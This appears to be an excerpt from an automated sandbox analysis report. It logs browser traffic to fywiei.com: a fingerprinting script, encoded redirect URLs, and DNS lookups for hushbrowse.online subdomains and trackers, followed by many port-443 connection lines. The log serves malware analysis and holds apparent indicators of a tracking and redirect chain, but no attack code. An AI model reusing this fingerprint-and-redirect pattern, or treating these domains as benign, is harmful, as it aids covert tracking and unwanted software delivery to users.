text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/fingerprint/iife.min.js HTTP/1.1Host: fywiei.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Referer: http://fywiei.com/f.php?e=44k7tWaUp5q6rFpoE47q7349fnBNa3hDWkFhRGRaK0JZR2FJM2J2RnZ5L0luTkFZRk5nRXF3bHV5SnY3MFo4VmxjUTg1cGpRWHFLSERmYkRodDBZZlpmOWZlMEc2US9wYy9JU1haTUVYYkhqbFB3Zkw5V0pIa0RXdnRmT1pvRHhsSVlneXdhRDVPWE9saE9WRm1HR1NWdElHaUUwN0lNanYrVHVlaTUxNXNxMzlNU1NUdW40RUFlQzBGbE94WFpMSXAvN1Q5Zlp0L2RHZWVXdjU3bWNzeHZsYTZYSkd4MEJJZFBSSWVGSnYwdGRUazdoTjJTcEFBeWZVMCt1ZTlSS003UHlCVFcrL01WdmRsOUtQNmZ1dWJCUHByRndxaU11ZEc4bHNRdVR3a2h5UmQ2YkQ2WjlpTXhBdXpXM3FCSzFRS2Z5SzlzWEs0RVRQakFvbldWNDdiR25hN1dBUFFUdUY2eVRQaHI5ZkU1a3F1ZGQ2OWM5bU5WYjd2dU1tZXhEMHd3VkQ3enQ4NjNOV0hkVkJ1dHpFemRRdFdDVlVhOEtQb1VuSDZ6Y1dWekxySTBmQW5iUG9kcG9BekNpWE91dWdzR3haYzhqSjc1THFLVWVINUg%3DAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: fywiei.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://fywiei.com/f.php?e=44k7tWaUp5q6rFpoE47q7349fnBNa3hDWkFhRGRaK0JZR2FJM2J2RnZ5L0luTkFZRk5nRXF3bHV5SnY3MFo4VmxjUTg1cGpRWHFLSERmYkRodDBZZlpmOWZlMEc2US9wYy9JU1haTUVYYkhqbFB3Zkw5V0pIa0RXdnRmT1pvRHhsSVlneXdhRDVPWE9saE9WRm1HR1NWdElHaUUwN0lNanYrVHVlaTUxNXNxMzlNU1NUdW40RUFlQzBGbE94WFpMSXAvN1Q5Zlp0L2RHZWVXdjU3bWNzeHZsYTZYSkd4MEJJZFBSSWVGSnYwdGRUazdoTjJTcEFBeWZVMCt1ZTlSS003UHlCVFcrL01WdmRsOUtQNmZ1dWJCUHByRndxaU11ZEc4bHNRdVR3a2h5UmQ2YkQ2WjlpTXhBdXpXM3FCSzFRS2Z5SzlzWEs0RVRQakFvbldWNDdiR25hN1dBUFFUdUY2eVRQaHI5ZkU1a3F1ZGQ2OWM5bU5WYjd2dU1tZXhEMHd3VkQ3enQ4NjNOV0hkVkJ1dHpFemRRdFdDVlVhOEtQb1VuSDZ6Y1dWekxySTBmQW5iUG9kcG9BekNpWE91dWdzR3haYzhqSjc1THFLVWVINUg%3DAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/fingerprint/iife.min.js HTTP/1.1Host: fywiei.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /f.php?e=44k7tWaUp5q6rFpoE47q7349fnBNa3hDWkFhRGRaK0JZR2FJM2J2RnZ5L0luTkFZRk5nRXF3bHV5SnY3MFo4VmxjUTg1cGpRWHFLSERmYkRodDBZZlpmOWZlMEc2US9wYy9JU1haTUVYYkhqbFB3Zkw5V0pIa0RXdnRmT1pvRHhsSVlneXdhRDVPWE9saE9WRm1HR1NWdElHaUUwN0lNanYrVHVlaTUxNXNxMzlNU1NUdW40RUFlQzBGbE94WFpMSXAvN1Q5Zlp0L2RHZWVXdjU3bWNzeHZsYTZYSkd4MEJJZFBSSWVGSnYwdGRUazdoTjJTcEFBeWZVMCt1ZTlSS003UHlCVFcrL01WdmRsOUtQNmZ1dWJCUHByRndxaU11ZEc4bHNRdVR3a2h5UmQ2YkQ2WjlpTXhBdXpXM3FCSzFRS2Z5SzlzWEs0RVRQakFvbldWNDdiR25hN1dBUFFUdUY2eVRQaHI5ZkU1a3F1ZGQ2OWM5bU5WYjd2dU1tZXhEMHd3VkQ3enQ4NjNOV0hkVkJ1dHpFemRRdFdDVlVhOEtQb1VuSDZ6Y1dWekxySTBmQW5iUG9kcG9BekNpWE91dWdzR3haYzhqSjc1THFLVWVINUg%3D&fp=-7 HTTP/1.1Host: fywiei.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://fywiei.com/f.php?e=44k7tWaUp5q6rFpoE47q7349fnBNa3hDWkFhRGRaK0JZR2FJM2J2RnZ5L0luTkFZRk5nRXF3bHV5SnY3MFo4VmxjUTg1cGpRWHFLSERmYkRodDBZZlpmOWZlMEc2US9wYy9JU1haTUVYYkhqbFB3Zkw5V0pIa0RXdnRmT1pvRHhsSVlneXdhRDVPWE9saE9WRm1HR1NWdElHaUUwN0lNanYrVHVlaTUxNXNxMzlNU1NUdW40RUFlQzBGbE94WFpMSXAvN1Q5Zlp0L2RHZWVXdjU3bWNzeHZsYTZYSkd4MEJJZFBSSWVGSnYwdGRUazdoTjJTcEFBeWZVMCt1ZTlSS003UHlCVFcrL01WdmRsOUtQNmZ1dWJCUHByRndxaU11ZEc4bHNRdVR3a2h5UmQ2YkQ2WjlpTXhBdXpXM3FCSzFRS2Z5SzlzWEs0RVRQakFvbldWNDdiR25hN1dBUFFUdUY2eVRQaHI5ZkU1a3F1ZGQ2OWM5bU5WYjd2dU1tZXhEMHd3VkQ3enQ4NjNOV0hkVkJ1dHpFemRRdFdDVlVhOEtQb1VuSDZ6Y1dWekxySTBmQW5iUG9kcG9BekNpWE91dWdzR3haYzhqSjc1THFLVWVINUg%3DAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /f.php?e=44k7tWaUp5q6rFpoE47q7349fnBNa3hDWkFhRGRaK0JZR2FJM2J2RnZ5L0luTkFZRk5nRXF3bHV5SnY3MFo4VmxjUTg1cGpRWHFLSERmYkRodDBZZlpmOWZlMEc2US9wYy9JU1haTUVYYkhqbFB3Zkw5V0pIa0RXdnRmT1pvRHhsSVlneXdhRDVPWE9saE9WRm1HR1NWdElHaUUwN0lNanYrVHVlaTUxNXNxMzlNU1NUdW40RUFlQzBGbE94WFpMSXAvN1Q5Zlp0L2RHZWVXdjU3bWNzeHZsYTZYSkd4MEJJZFBSSWVGSnYwdGRUazdoTjJTcEFBeWZVMCt1ZTlSS003UHlCVFcrL01WdmRsOUtQNmZ1dWJCUHByRndxaU11ZEc4bHNRdVR3a2h5UmQ2YkQ2WjlpTXhBdXpXM3FCSzFRS2Z5SzlzWEs0RVRQakFvbldWNDdiR25hN1dBUFFUdUY2eVRQaHI5ZkU1a3F1ZGQ2OWM5bU5WYjd2dU1tZXhEMHd3VkQ3enQ4NjNOV0hkVkJ1dHpFemRRdFdDVlVhOEtQb1VuSDZ6Y1dWekxySTBmQW5iUG9kcG9BekNpWE91dWdzR3haYzhqSjc1THFLVWVINUg%3D&fp=a3db7cd464228025d120ca597c81b5f2 HTTP/1.1Host: fywiei.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://fywiei.com/f.php?e=44k7tWaUp5q6rFpoE47q7349fnBNa3hDWkFhRGRaK0JZR2FJM2J2RnZ5L0luTkFZRk5nRXF3bHV5SnY3MFo4VmxjUTg1cGpRWHFLSERmYkRodDBZZlpmOWZlMEc2US9wYy9JU1haTUVYYkhqbFB3Zkw5V0pIa0RXdnRmT1pvRHhsSVlneXdhRDVPWE9saE9WRm1HR1NWdElHaUUwN0lNanYrVHVlaTUxNXNxMzlNU1NUdW40RUFlQzBGbE94WFpMSXAvN1Q5Zlp0L2RHZWVXdjU3bWNzeHZsYTZYSkd4MEJJZFBSSWVGSnYwdGRUazdoTjJTcEFBeWZVMCt1ZTlSS003UHlCVFcrL01WdmRsOUtQNmZ1dWJCUHByRndxaU11ZEc4bHNRdVR3a2h5UmQ2YkQ2WjlpTXhBdXpXM3FCSzFRS2Z5SzlzWEs0RVRQakFvbldWNDdiR25hN1dBUFFUdUY2eVRQaHI5ZkU1a3F1ZGQ2OWM5bU5WYjd2dU1tZXhEMHd3VkQ3enQ4NjNOV0hkVkJ1dHpFemRRdFdDVlVhOEtQb1VuSDZ6Y1dWekxySTBmQW5iUG9kcG9BekNpWE91dWdzR3haYzhqSjc1THFLVWVINUg%3DAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /f2.php?e=4rxEBgcHWfhj1zSNx8uF1H49fkQ4SE0wZllzMWR1b0NNd0NHTk04MURwQlg4dm5HY2xWRXc5eHBvOW5CMDQzQUlHdDFybEpyS21SWUhUT0FjZ1JuZ3BpazdzV0JEdWxNQjlXZ1hzUkdLWHpVK1R2YVF3SjBzSngzR0pjTW1KdnhydkZkN0dmakRITlFQUGJjald4bk9mOXEzbHFzUFg2ZlVNMmJsV1F1VWFmQzZaNURQOHIyTWxOeG04TTNhQUVoLzdBclVqSEsvMlNlb3Z6b28zUG9STDNDbi82WUJIeWJ2eHhiSDY0Tml4eHRHRXR5aG13Vks3bk5ocTJpZnhhMWlvODFRQWhZQjlYRlFDUVBqdmlHVlZ1VjduYmxCSnZVeEs0My92NFBzYTZUNjZiMDBka1ZBQVZuSVk1MWowTnZ4NjBYak1ISUlJdUpoRkJsOU9DM0pFbWxzUi95T3pHQldnc2dWb0ZpNGR5dXhpVC94aVFBM2Q2UDNpWW8zQ0Uwc01wK01LN2JiZVBrQVROakJIWXl2bzQxZlRkSWpUZVRNcDZnVUdDTS9DelM0VXM3bDBmTm80MFdyc0VpMXErL1dwdCtoU2dZUm9MZmtyNjBXVzZpWGlOTm9nNW81MjlvNWFMUmdaOUNocmlyV1JCWTVkL2FMQ2Z1dlJQN1FZPQ%3D%3D&vs=1280:907&ds=1280:1024&sl=0:0&os=f&nos=f HTTP/1.1Host: fywiei.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://fywiei.com/f.php?e=44k7tWaUp5q6rFpoE47q7349fnBNa3hDWkFhRGRaK0JZR2FJM2J2RnZ5L0luTkFZRk5nRXF3bHV5SnY3MFo4VmxjUTg1cGpRWHFLSERmYkRodDBZZlpmOWZlMEc2US9wYy9JU1haTUVYYkhqbFB3Zkw5V0pIa0RXdnRmT1pvRHhsSVlneXdhRDVPWE9saE9WRm1HR1NWdElHaUUwN0lNanYrVHVlaTUxNXNxMzlNU1NUdW40RUFlQzBGbE94WFpMSXAvN1Q5Zlp0L2RHZWVXdjU3bWNzeHZsYTZYSkd4MEJJZFBSSWVGSnYwdGRUazdoTjJTcEFBeWZVMCt1ZTlSS003UHlCVFcrL01WdmRsOUtQNmZ1dWJCUHByRndxaU11ZEc4bHNRdVR3a2h5UmQ2YkQ2WjlpTXhBdXpXM3FCSzFRS2Z5SzlzWEs0RVRQakFvbldWNDdiR25hN1dBUFFUdUY2eVRQaHI5ZkU1a3F1ZGQ2OWM5bU5WYjd2dU1tZXhEMHd3VkQ3enQ4NjNOV0hkVkJ1dHpFemRRdFdDVlVhOEtQb1VuSDZ6Y1dWekxySTBmQW5iUG9kcG9BekNpWE91dWdzR3haYzhqSjc1THFLVWVINUg%3D&fp=a3db7cd464228025d120ca597c81b5f2Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.jmclmedia.ph
Source: global traffic	DNS traffic detected: DNS query: fywiei.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ocalesit.com
Source: global traffic	DNS traffic detected: DNS query: cint.hushbrowse.online
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: impr.hushbrowse.online
Source: global traffic	DNS traffic detected: DNS query: mc.yandex.ru
Source: global traffic	DNS traffic detected: DNS query: cdn.mxpnl.com
Source: global traffic	DNS traffic detected: DNS query: 7proof.com
Source: global traffic	DNS traffic detected: DNS query: mc.yandex.com
Source: global traffic	DNS traffic detected: DNS query: red.hushbrowse.online
Source: global traffic	DNS traffic detected: DNS query: file.hushbrowse.online
Source: global traffic	DNS traffic detected: DNS query: api-js.mixpanel.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
